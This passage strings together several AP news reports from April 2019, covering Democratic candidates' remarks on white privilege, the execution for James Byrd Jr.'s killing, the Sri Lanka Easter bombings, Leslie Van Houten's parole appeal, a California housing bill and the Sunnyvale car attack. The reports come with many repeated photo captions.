candidates are among the contenders who will have another chance to connect with voters of color on Wednesday at the She the People forum in Houston. The event, which is focused on women of color, includes O'Rourke, Warren and Sen. Bernie Sanders of Vermont as speakers. There are clear risks to Democrats who embrace talk of white privilege. Candidates could lose the moderate white men who live in suburbs and whose support will be necessary to defeat President Donald Trump. Republicans, including Trump, often blast Democrats for playing into "identity politics" when they talk about race. Democratic presidential hopeful John Hickenlooper, back, hugs Colorado state Sen. Rhonda Fields, D-Aurora, during a meeting with survivors of victims of mass shootings in Colorado Tuesday, April 16, 2019, in Denver. Fields lost her son and his fiancee in a shooting in 2005. (AP Photo/David Zalubowski) Joe Biden's presidential bid, which is expected to launch on Thursday, could test whether it's politically wise for candidates to speak so openly about race. Although he has positioned himself as a champion of racial equality, the former vice president is expected to wage a campaign aimed at winning back the working-class white voters who swung to Trump in 2016. Given his decades in public life, Biden faces unique vulnerabilities on race that he will have to address early on in his campaign. He will likely face questions about his opposition to busing during the desegregation era. And he will face scrutiny for his role in Supreme Court confirmation hearings that undermined Anita Hill's credibility nearly three decades ago along with his support of the 1994 crime bill that contributed to the racial disparities in prison sentencing at the center of the mass incarceration debate. Not all candidates have talked so personally about race. Sanders, who struggled to win black voters in 2016, hasn't talked in depth about whether he has been treated better by society because he's a white man. He got a polarized reception from the mostly black and brown crowd of women at the She the People presidential forum on Wednesday. Sanders' initial response to how the federal government should respond to the rising threat of white nationalism was shouted down by many in the audience. And when he brought up his participation in the 1963 March on Washington, Sanders was booed by the crowd. Democratic candidate Kirsten Gillibrand, asked recently whether she has experienced privilege as a white person, said, "I guess I don't see it that way." The U.S. senator from New York acknowledged persistent gender and racial bias. But pointing to her legislative accomplishments, she said, "A lot of that success was actually because I'm a woman." "I have great skills and listening, of finding common ground, of bringing people together," she said. "I think those are some of my superpowers." Democratic strategist Jamal Simmons cautioned white candidates against "overdoing" talk about privilege and identity. But he said those who are turned off by such rhetoric "are probably not reliable voters for Democrats" in a general election. The conversations about white privilege are an acknowledgment of the role black voters will play in the Democratic primary next year. For one, the primary features several candidates of color, including Sens. Kamala Harris of California, Cory Booker of New Jersey and former Obama Cabinet secretary Julian Castro. Each of them will make hard pitches to diverse voters and are also attending She the People. The large size of the Democratic field and the way the primaries will unfold could also put voters of color in a more powerful position. After majority-white states Iowa and New Hampshire vote next year, the contest will swiftly move to more diverse places like Nevada, South Carolina, California, Texas and Georgia. In a recent interview, Buttigieg said being "pro-racial justice should not be skin off the back of any white voter." "There's certainly an environment where sometimes these ideas are pitted against each other, where it's suggested, for example, that connecting with white working-class voters somehow means that you have to walk away from our commitment to racial justice - but our commitment to racial justice is part of the bedrock of the moral authority of the Democratic Party," Buttigieg said. But when asked whether he had experienced white privilege, he said that "part of privilege is not being very conscious of it, right?" He added: "You're much more conscious when you're at a disadvantage than ... when you are on the beneficial side of a bias. But there's no question that that's a factor that has impacted people in many different ways." Rashad Robinson, executive director of the online civil rights organization Color of Change, said candidates must go further than being comfortable discussing white identity. They must be able to translate privilege into policies that address inequality, he said. "I don't need you simply talking about these issues," said Robinson, who has talked to several 2020 Democrats. "I need you using your power to act on them. That, for me, is going to be the measure and the test." ___ Whack is The Associated Press' national writer on race and ethnicity. Follow her work on Twitter at http://www.twitter.com/emarvelous . ___ Associated Press writer Alexandra Jaffe in Des Moines, Iowa, contributed to this report. HUNTSVILLE, Texas (AP) - An avowed racist who orchestrated one of the most gruesome hate crimes in U.S. history was executed Wednesday in Texas for the dragging death of a black man. John William King, who was white, received a lethal injection for the slaying nearly 21 years ago of James Byrd Jr., who was chained to the back of a truck and dragged for nearly 3 miles (5 kilometers) along a secluded road in the piney woods outside Jasper, Texas. The 49-year-old Byrd was alive for at least 2 miles (3 kilometers) before his body was ripped to pieces in the early morning hours of June 7, 1998. Prosecutors said Byrd was targeted because he was black. King was openly racist and had offensive tattoos on his body, including one of a black man with a noose around his neck hanging from a tree, according to authorities. King, 44, was put to death at the state penitentiary in Huntsville, Texas. He was the fourth inmate executed this year in the U.S. and the third in Texas, the nation's busiest capital punishment state. King kept his eyes closed as witnesses arrived in the death chamber and never turned his head toward relatives of his victim. Asked by Warden Bill Lewis if he had a final statement, King replied: "No." Within seconds, the lethal dose of the sedative pentobarbital began taking effect. He took a few barely audible breaths and had no other movement. He was pronounced dead at 7:08 p.m. CDT, 12 minutes after the drug began. This undated photo provided by the Texas Department of Criminal Justice shows John William King. The white supremacist on Texas death row who orchestrated one of the most gruesome hate crimes in U.S. history faces execution for the infamous dragging death nearly 21 years ago of James Byrd Jr., a black man from East Texas. King is scheduled to receive lethal injection Wednesday evening, April 24, 2019. (Texas Department of Criminal Justice via AP) In a statement released after his execution, King said: "Capital punishment: them without the capital get the punishment." Byrd's sister, Clara Taylor, who watched King die, said he "showed no remorse then and showed no remorse tonight." "The execution for his crime was just punishment," she said. "I felt nothing - no sense of relief, no sense of happy this is over with." As witnesses emerged from the prison, about two dozen people standing down the street began to cheer. The killing of Byrd was a hate crime that put a national spotlight on Jasper, a town of about 7,600 residents near the Texas-Louisiana border that was branded with a racist stigma it has tried to shake off ever since. Local officials say the reputation is undeserved. King's appellate lawyers had tried to stop his execution, arguing King's constitutional rights were violated because his trial attorneys didn't present his claims of innocence and conceded his guilt. The U.S. Supreme Court rejected King's last-minute appeal. "From the time of indictment through his trial, Mr. King maintained his absolute innocence, claiming that he had left his co-defendants and Mr. Byrd sometime prior to his death and was not present at the scene of his murder. Mr. King repeatedly expressed to defense counsel that he wanted to present his innocence claim at trial," A. Richard Ellis, one of King's attorneys, wrote in his petition to the Supreme Court. The Texas Board of Pardons and Paroles also turned down King's request for either a commutation of his sentence or a 120-day reprieve. Over the years, King had also suggested the brutal slaying was not a hate crime, but a drug deal gone bad involving his co-defendants. King, who grew up in Jasper and was known as "Bill," was the second man executed for Byrd's killing. Lawrence Russell Brewer was executed in 2011. The third participant, Shawn Allen Berry, was sentenced to life in prison. King declined an interview request from The Associated Press in the weeks leading up to his execution. In a 2001 interview with the AP, King said he was an "avowed racist" but wasn't "a hate-monger murderer." Louvon Byrd Harris said earlier this month that King's execution for her brother's slaying would send a "message to the world that when you do something horrible like that, that you have to pay the high penalty." King and Brewer got "an easy way out" compared to "all the suffering" that Byrd faced, Harris said. Billy Rowles, who led the investigation into Byrd's death when he was sheriff in Jasper County, said after King was taken to death row in 1999, he offered to detail the crime as soon as his co-defendants were convicted. When Rowles returned, all King would say was, "I wasn't there." "He played us like a fiddle, getting us to go over there and thinking we're going to get the rest of the story," said Rowles, who now is sheriff of Newton County. A week before Brewer was executed in 2011, Rowles said he visited Brewer, who confirmed "the whole thing was Bill King's idea." Mylinda Byrd Washington, another of Byrd's sisters, said earlier this month that the family will work through the Byrd Foundation for Racial Healing to ensure her brother's death continues to combat hate everywhere. "I hope people remember him not as a hate crime statistic. This was a real person. A family man, a father, a brother and a son," she said. ___ Lozano reported from Houston. ___ Follow Juan A. Lozano on Twitter: https://twitter.com/juanlozano70 In this Wednesday, April 10, 2019, photo Mylinda Byrd Washington, 66, left, and Louvon Byrd Harris, 61, hold up photographs of their brother James Byrd Jr. in Houston. James Byrd Jr. was the victim of what is considered to be one of the most gruesome hate crime murders in recent Texas history. (AP Photo/Juan Lozano) This April 12, 2019, photo shows the gravesite of James Byrd Jr. in Jasper, Texas. Byrd was killed on June 7, 1998, after he was chained to the back of a pickup truck and dragged for nearly three miles along a secluded road in the piney woods outside Jasper in what is considered one of the most gruesome hate crime murders in recent Texas history. (AP Photo/Juan Lozano) This April 12, 2019, photo shows a section of Huff Creek Road in Jasper, Texas, where James Byrd Jr., who was black, was dragged to death by three white men in what is considered one of the most gruesome hate crime murders in recent Texas history. John William King, the convicted ringleader of Byrd's death, is set to be executed on Wednesday, April. 24, 2019. (AP Photo/Juan Lozano) COLOMBO, Sri Lanka (AP) - The Latest on the Easter attacks in Sri Lanka (all times local): 6 a.m. Japan's Foreign Ministry has confirmed one Japanese national was killed and four others injured in the Easter bombings in Sri Lanka. The body of the person who died was returned to Japan early Thursday. Officials at Narita airport near Tokyo lowered their heads as the coffin, covered with blue tarp and a bouquet of white flowers on top, came out of the plane. Japanese media have identified the victim as 39-year-old Kaori Takahashi. The reports say she was having breakfast with her family at the Shangri-La hotel when she was killed and that her husband and a daughter were injured in the attack. Buddhist monks pray during a ceremony to invoke blessings on the dead and wounded from Sunday's bombings at the Kelaniya temple in Colombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Manish Swarup) The Foreign Ministry has not released the identities of the dead and injured. Sri Lankan police have said at least 359 people were killed and more than 500 wounded in Sunday's bombings, which mainly targeted churches and hotels. Most of the victims were Sri Lankan but more than 30 of the dead were foreigners. ___ 1:45 a.m. Thursday Sri Lanka's president has shaken up the country's top security establishment after officials failed to act on intelligence reports warning of possible attacks before the Easter bombings that killed over 350 people. The capital of Colombo remained rattled by reports that police were still conducting controlled detonations of suspicious items three days after the attacks on churches and luxury hotels. And the U.S. ambassador to the country says Washington believes "the terrorist plotting is ongoing." President Maithripala Sirisena's office on Wednesday said he asked for the resignations of the defense secretary and national police chief in a dramatic internal shake-up. He did not say who would replace them. Sirisena said he had been kept in the dark on the intelligence about the planned attacks and vowed to "take stern action" against officials who failed to share it. Government leaders have acknowledged some intelligence units were aware of possible attacks weeks before the bombings that struck three churches and three luxury hotels. The death toll rose Wednesday to 359, with 500 people wounded. ___ 10:10 p.m. Wednesday A British security official has confirmed a report identifying one of the Sri Lanka suicide bombers as a man who studied in Britain between 2006 and 2007. The official confirmed a report by Sky News identifying the man as Abdul Lathief Jameel Mohamed. The official said Wednesday that British intelligence officers were not watching Mohamed during his stay in the country. The official spoke on condition of anonymity because of the sensitive nature of the investigation. The Easter Sunday suicide bombings at churches and hotels killed over 350 people and injured 500. The dead included people from at least 12 countries. - By Gregory Katz in London. ____ 8 p.m. The family of Lorraine Campbell, a British victim of the Easter bombings in Sri Lanka, has paid tribute to her. Campbell, 55, who was originally from Manchester but lived in Dubai, died in the bombing of the Cinnamon Grand Hotel in Colombo. Campbell, who worked in technology, was described by her husband Neil Evans as a "real tour de force." He says, "I've lost my best friend in the world for all the adventures we shared and planned for the future." The suicide bombings at churches and hotels killed over 350 people and injured 500. The dead included people from at least 12 countries. The Islamic State group has claimed responsibility. Sri Lanka has blamed breakaway members of two obscure local extremist Muslim groups. ___ 4:30 p.m. Sri Lanka's president has asked for the resignations of the defense secretary and the national police chief after security forces failed to act on warnings before Easter suicide bombings that killed over 350 people. President Maithripala Sirisena's office announced that he asked for the resignations Wednesday. It wasn't immediately clear who would replace them. Sirisena said during a televised speech on Tuesday that he planned to change the head of the defense forces within 24 hours. The Islamic State group has claimed responsibility for Sunday's attack, which struck churches and hotels in the island nation. A Sri Lankan official has blamed breakaway members of two obscure local extremist Muslim groups. ___ 12:55 p.m. Sri Lanka's Muslim civil society movements and associations have called upon authorities to immediately arrest and punish the perpetrators of Sunday Easter bombings that killed more than 350 people, saying extremism in the name of Islam does not represent the religion. A joint statement says authorities should also apprehend those who aided and abetted the attackers through incitement, financing and other support. It says neither the National Thawheed Jamaat nor those who carried out the attacks represent Islam or reflect Muslim beliefs. The statement says they have misused and abused Islam in order to fit their own radical and anti-Islamic agenda, and are criminals. The signatories include All Ceylon Jamiyyathul Ulama, the Muslim Council, Jama'athe Islami, the Memon Association of Sri Lanka and Anjuman-E Saifi. ___ 10:45 a.m. The U.S. ambassador says America had "no prior knowledge" of a threat in Sri Lanka before the Easter bombings that killed more than 350 people. Ambassador Alaina Teplitz made the remarks Wednesday to foreign journalists at the U.S. Embassy in Colombo. Teplitz said there was a "right-sized" team of FBI agents and U.S. military officials assisting Sri Lanka in the investigation. Teplitz also said "clearly there was some failure in the system" for Sri Lanka prior to Easter bombings. Sri Lanka's government has acknowledged it received warnings of a local extremist group threatening churches and the prime minister said some people might lose their job over the intelligence failures. ___ 10:25 a.m. New Zealand's Prime Minister Jacinda Ardern says she hasn't received any official advice from Sri Lanka or seen any intelligence reports to corroborate claims from Sri Lanka's government that the Easter attacks were in retaliation for the mosque massacres in Christchurch last month. Ardern told reporters in Auckland that Sri Lanka is in the early stages of its investigation, and that New Zealand plans to stand back and allow it to proceed. She said she hadn't been in direct contact with Sri Lanka, although officials from the two countries were in contact. Sri Lanka's State Minister of Defense Ruwan Wijewardene said earlier the government had evidence the bombings were carried out by an Islamic fundamentalist group in retaliation for the March 15 mosque shootings in Christchurch that killed 50 people. ___ 10:15 a.m. The U.S. Embassy in Sri Lanka says the FBI is on the ground in the country to help assist its investigation into the Easter suicide bombings that killed 359 people. The embassy said it was part of the support extended by President Trump. The embassy in Colombo declined to immediately elaborate. ___ 9 a.m. Police say the death toll in the Easter attacks in Sri Lanka has risen to 359 and more suspects have been arrested. Police spokesman Ruwan Gunasekara also said Wednesday morning that 18 suspects were arrested overnight, raising the total detained to 58. The prime minister warned on Tuesday that several suspects armed with explosives were still at large. Another top government official said the suicide bombings at the churches, hotels and other sites were carried out by Islamic fundamentalists in apparent retaliation for the New Zealand mosque massacre last month. The Islamic State group has claimed responsibility for the Sri Lanka attacks and released images that purported to show the attackers. Prime Minister Ranil Wickremesinghe said that investigators were still determining the extent of the bombers' foreign links. Coffins of Easter Sunday bomb blast victims lay at a mass burial ground in Katuwapitiya village in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Eranga Jayawardena) Anusha Kumari, center, weeps during a mass burial for her husband, two children and three siblings, all victims of Easter Sunday's bomb attacks, in Negombo, Sri Lanka, Wednesday, April 24, 2019. In an instant on Easter Sunday, Kumari, 43, was left childless and a widow when suicide bombers launched a coordinated attack on churches and luxury hotels in and just outside Sri Lanka's capital, Colombo. (AP Photo/Gemunu Amarasinghe) A police motorcycle leads the coffins to a burial ground during a mass burials for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Gemunu Amarasinghe) Burial workers cover a coffin during a mass burials for Easter Sunday bomb blasts victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Gemunu Amarasinghe) Family members of Sri Lanka's Easter Sunday church explosion mourn during a funeral in Katuwapitiya village in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Eranga Jayawardena) (AP Photo/Eranga Jayawardena) An elderly Sri Lankan woman cries sitting next to the grave of her family member who died in a Easter Sunday church explosion in Katuwapitiya village in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Eranga Jayawardena) A burial worker uses a rock to install a wooden cross in to a newly raised mount covering a body during a mass burials for Easter Sunday bombings victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Gemunu Amarasinghe) Buddhist monks pray during a ceremony to invoke blessings on the dead and wounded from Sunday's bombings at the Kelaniya temple in Colombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Manish Swarup) LOS ANGELES (AP) - A yearslong saga over whether Charles Manson follower Leslie Van Houten deserves to be freed from prison took another sharp turn Wednesday as an appeals court questioned its jurisdiction in the case. Van Houten's attorney told a three-judge panel of the 2nd District Court of Appeal that his client is remorseful and takes responsibility for her crimes. A state prosecutor said the 69-year-old has placed too much blame on Manson. Van Houten was 19 when she and fellow members of Manson's cult fatally stabbed Los Angeles grocer Leno LaBianca and his wife, Rosemary, in 1969. The killings took place a day after other so-called Manson family members killed actress Sharon Tate and four others in crimes that shocked the world. Van Houten, who is serving a life sentence, was not involved in the other killings. A parole board has recommended that Van Houten be released three times since 2016, finding that she's no longer a threat to society. Former Gov. Jerry Brown blocked the first two recommendations, and the third is heading to Gov. Gavin Newsom. Separately from Newsom's decision, the appeals court is reviewing a lower judge's order that blocked Van Houten's release last year. FILE - In this Sept. 6, 2017 file photo Leslie Van Houten reacts after hearing she is eligible for parole during a hearing at the California Institution for Women in Corona, Calif. Charles Manson follower Van Houten is getting another chance at getting out of prison. Van Houten's attorney will argue that she deserves to be paroled at a hearing before California's 2nd District Court of Appeal in Los Angeles on Wednesday, April 24, 2019. The 69-year-old Van Houten is not expected in court herself. (Stan Lim/Los Angeles Daily News via AP, Pool, File) The parallel matters had the judges wondering whether they still would have jurisdiction to rule if Newsom denies Van Houten parole. Her attorney, Rich Pfeiffer, told them they have a duty to issue a ruling, adding that no elected politician will ever agree to Van Houten's parole because of the infamy of the case. "If the courts don't release Miss Van Houten, she's never going to be released," Pfeiffer said. "The courts are empowered to make difficult decisions, and sometimes unpopular decisions, to be able to enforce the law. That's what courts are there for. Otherwise it turns into mob rule." Deputy Attorney General Jill VanderBorght said the issue should rest with whatever Newsom decides. She said Pfeiffer's argument that Van Houten is unlikely to get released without a court decision was irrelevant. "We're only looking at this single instance of parole reversal," she said. "We don't have to think of tomorrow or ever or politics. In fact, the court should not." The judges gave Pfeiffer and VanderBorght five days to file arguments on the issue of jurisdiction. The judges have three months to decide on Van Houten's parole. Courts in general can be reluctant to interfere in parole matters, said Samuel Pillsbury, a criminal law professor at Loyola Marymount University in Los Angeles. "It is highly emotional," Pillsbury said. "The voters have decided the governor should have a veto on this, so the courts would prefer to let this process play out." If the decision comes down to the governor, Pillsbury said Van Houten has an uphill battle. "The Manson case is one of a kind," he said. "The entire state and much of the nation still feel some degree of trauma from that, and it makes it a very different kind of case from an elected official's point of view." Sharon Tate's sister, Debra Tate, was at the hearing and told The Associated Press that Van Houten doesn't deserve to be released under any circumstances and hasn't personally apologized to the victims' families. "A truly remorseful individual would reach out in any way they could to say they're sorry, not to the people who have the power to free them, but to the people they've hurt the most," Tate said. Former inmate Cheryl Minichilli said after the hearing that she's never seen anyone more remorseful than Van Houten. "She showed me what it took to look deep inside and figure out what I did ... wrong so that I could repair me," said Minichilli, adding that Van Houten mentored her and dozens of other inmates over the years. "Her whole life is dedicated to helping other people," she said. In denying Van Houten parole last year, Los Angeles Superior Court Judge William Ryan found that she would "pose an unreasonable risk of danger to society," citing the brutal nature of the crimes. During one of her parole hearings, Van Houten said she was traveling up and down the California coast when acquaintances led her to Manson. She candidly described how she joined several other members of the group in killing the LaBiancas, carving up Leno LaBianca's body and smearing the couple's blood on the walls. Manson died of natural causes in 2017 at a California hospital while serving a life sentence. ___ Follow Amanda Lee Myers on Twitter at https://twitter.com/AmandaLeeAP SACRAMENTO, Calif. (AP) - California lawmakers advanced a proposal Wednesday to spur more housing near transportation and jobs and make it easier to turn single-family homes into fourplexes as the state grapples with a lack of affordable housing. The measure, a compromise between two Democratic senators, sets different requirements for small and large counties. Sens. Scott Wiener of San Francisco and Mike McGuire, who represents the coast from just north of San Francisco to the Oregon border, announced their plan at the start of Wednesday's public hearing, giving advocates who came to testify little chance to digest the changes. "What works for downtown Los Angeles doesn't work for a county of 600,000 or less," McGuire said. "I'm also a believer that no community should see dramatic change, but every community should see some change. I do believe this bill is trying to strike that balance." California has 3.5 million fewer homes than it needs, and prices are increasingly becoming out of reach for rents and potential homeowners. Lawmakers from both parties, developers and tenants alike are calling for changes, but there's little agreement on what works best. Some tenant groups argued the proposal would fuel gentrification, while others said encouraging more building benefits everyone. Many local governments opposed the bill because it usurps their authority to design neighborhoods. "What cities will do in response to a bill like this is sue the state," said David Reyes, director of Pasadena's planning and community development department. "We will no longer have good planning within the city." The compromise takes elements of both Wiener's and McGuire's bill and applies standards statewide. It must clear another Senate committee before going to the Senate floor. State Sen. Mike McGuire, D-Healdsburg, left, confers with State Sen. Scott Wiener, D-San Francisco, center, during a hearing on their housing bills Wednesday, April 24, 2019, in Sacramento, Calif. McGuire merged his bill, SB4 with Wiener bill, SB50 that would increase housing near transportation and job hubs. The bill was approved by the Senate Governance and Finance Committee. (AP Photo/Rich Pedroncelli) Across the board, it would be easier to build fourplexes in residential areas typically reserved for single-family homes. Four-unit buildings could be constructed on vacant land or by converting homes, provided the square footage and exterior walls remain largely intact. It would not allow existing homes to be demolished and replaced. For counties with more than 600,000 people, such as Los Angeles, San Francisco and Sacramento, the bill would make communities approve denser building around rail, ferry and bus stops as well as areas with a high number of jobs. Wiener has argued California needs denser building in those areas to give people more options for living near where they work. It aims to stop suburban sprawl that's prompting residents to commute farther from home to work, clogging California's roads and spewing more pollutants into the air. Counties with fewer than 600,000 people - 43 of the state's 58 counties - would encourage denser building around ferry and rail stops only, with more limits how that building looks. Areas at very high risk of wildfire and many coastal zones would be exempt from the new requirements. The new proposal requires that a certain percentage of any new building be set aside as affordable housing, designed for people who make less than the area median income. It does not specify the percentage as lawmakers continue to negotiate with advocacy groups. Statewide, the proposal also includes exemptions for "sensitive communities," which include cities with high segregation and poverty as well as environmental challenges. Laura Raymond, director of the Alliance for Community Transit-Los Angeles, said the bill doesn't require enough of the units to be designated for affordable housing and that it lacks specifics on how "sensitive communities" would be chosen and given resources to develop their own housing plans. "We're working really hard to make sure that this bill is changed to do more to protect communities and provide value for low-income renters," she said Tuesday. The density proposals were among a slew of contentious housing bills up for debate this week. Later Wednesday, a Senate committee will take up a proposal to provide long-term money for affordable housing, and on Thursday two proposals aimed at expanding rent control and capping rent increases are before Assembly committees. Rent control proposals have failed in the past, including last November at the ballot. A nonprofit that bankrolled the rent control ballot measure has filed paperwork to mount another ballot measure in 2020 if the Legislature doesn't act. Opponents of a housing bill by State Sen. Scott Wiener, D-San Francisco, express their opinions as lawmakers debate the bill Wednesday, April 24, 2019, in Sacramento, Calif. State Sen. Mike McGuire, D-Healdsburg merged his bill, SB4 with Wiener's bill, SB50 that would increase housing near transportation and job hubs. The bill was approved by the Senate Governance and Finance Committee. (AP Photo/Rich Pedroncelli) SUNNYVALE, Calif. (AP) - A former U.S. Army sharpshooter with a history of PTSD plowed his car at high speed into a group of pedestrians in a quiet Silicon Valley suburb, injuring eight people including three children, and then told authorities that he intentionally hit them but has not said why. Police in Sunnyvale, California, said Wednesday that Isaiah Joel Peoples, 34, was being held on eight counts of attempted murder. Four of the victims remained hospitalized with major injuries, including a 13-year-old girl in critical condition. A witness, 72-year-old Don Draper, said he watched in horror as Peoples' car sped through a crosswalk in a Sunnyvale shopping area Tuesday evening and bodies went flying. It was a warm night, around dinner time and people were out in cafes and restaurants in the area. "I saw this woman fly through the air right in front of me. She flipped upside down and then fell right in front of my car," Draper said, adding that he was so enraged, he marched over to Peoples' car, which had swerved onto a sidewalk and crashed into a tree. He said Peoples did not appear drunk but looked dazed and was mumbling over and over, "Thank you, Jesus. Thank you, Jesus." Sunnyvale police Capt. Jim Choi said authorities were still trying to determine a motive. There was no evidence linking Peoples to any terrorist organization but the crash was deliberate, he said. "He did intentionally try to run over the people," Choi said. "He did not express any remorse, as far as we can tell." Police and road crews work the scene after a car crash at the intersection of El Camino Real and Sunnyvale Road in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Choi said authorities were processing evidence found in a search of Peoples' Sunnyvale apartment on Wednesday and had given him a blood test to determine if drugs were in his system. They were investigating accounts from family members that Choi had a history of mental illness. Family and friends described Peoples as a quiet and polite person and expressed shock. His mother, Leevell Peoples of Sacramento, said she couldn't imagine any situation in which her mild-mannered son would deliberately crash into innocent people other than something related to the post-traumatic stress disorder she said he experienced after serving as an Army sharpshooter in Iraq. "Unless the car malfunctioned, he would not have done that. He's like the perfect, model citizen," she said. She said her son graduated from Sacramento State University after returning from Iraq in 2007. He was working as an auditor for the Department of Defense in nearby Mountain View. "He basically probably has no friends but the people he works with," she said. "He's an Army vet, he's a good kid, never been arrested. I promise you: It was not deliberate. If anything, it was that Army." She said Peoples had "a bad episode" with PTSD in 2015 and has told her that he had been regularly taking medication since then. The mother said the Army forced her son to retire because of PTSD. Pentagon spokeswoman Lt. Col Carla Gleason confirmed Wednesday that he retired from the U.S. Army. Another Pentagon spokesman, Lt. Col. Emanuel Ortiz, said that Peoples had served as a civil affairs specialist in the Army Reserve from March 2004 to July 2009 and attained the rank of Sergeant, and he was deployed to Iraq from June 2005 to May 2006. He did not answer questions about whether Peoples' departure from the army was due to PTSD. Choi said police were investigating the PTSD report. Other witness statements matched Draper's recollection that the driver was speeding and drove directly toward the pedestrians without trying to veer away or stop in the city about 50 miles (80 kilometers) south of San Francisco. The crash happened at a major intersection in an area with commercial strip malls that residents described as a quiet California suburb. Six people were taken to hospitals, including the youngest victim, a 9-year-old boy who was treated and released with minor injuries. A 15-year-old boy was treated and released by paramedics. Peoples' former housemate Chuck Herrera described Isaiah Peoples as quiet - someone who had to be coaxed into going out for drinks or dinner. He said Peoples was polite and kind and sweet to Herrera's toddler son. He recalls Peoples "always had a lot of pills" and a cough. "The guy I met was not someone who you think will hurt someone," he said. "My guess is something happened." The FBI is assisting California officials in the investigation. ___ Williams and Har reported from San Francisco. Associated Press writer Olga R. Rodriguez in San Francisco contributed to this report. This April 23, 2019, image from video provided by KGO-TV, shows the scene of a car crash where several pedestrians were struck and injured in Sunnyvale, Calif. The FBI says it's assisting California officials in the investigation of a motorist who appeared to deliberately plow into the group of people. (KGO-TV via AP) This photo released Wednesday, April 24, 2019, by the Sunnyvale Department of Public Safety shows Isaiah Joel Peoples. Police in Northern California have identified the man arrested after he allegedly deliberately plowed into a group of people. The Sunnyvale Department of Public Safety says 34-year-old Peoples, of Sunnyvale, Calif., was arrested Tuesday. (Sunnyvale Department of Public Safety via AP) A police officer escorts pedestrians across El Camino Real near the scene of car crash at the intersection of El Camino Real and Sunnyvale Road in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police and road crews work to clean up the scene after a car crash at the intersection of El Camino Real and Sunnyvale Road in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police investigate the scene of car crash at the intersection of El Camino Real and Sunnyvale Road in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police stand outside an apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police stand outside an apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police stand outside an apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Police approach the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) Sunnyvale Public Safety Officer Kira Reid secures the perimeter at the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) Police approach the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) Police work the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) Leevell Peoples glances at a photo of her son, Isaiah Peoples, taken while he was in the Army, at her home Wednesday, April 24, 2019, in Sacramento, 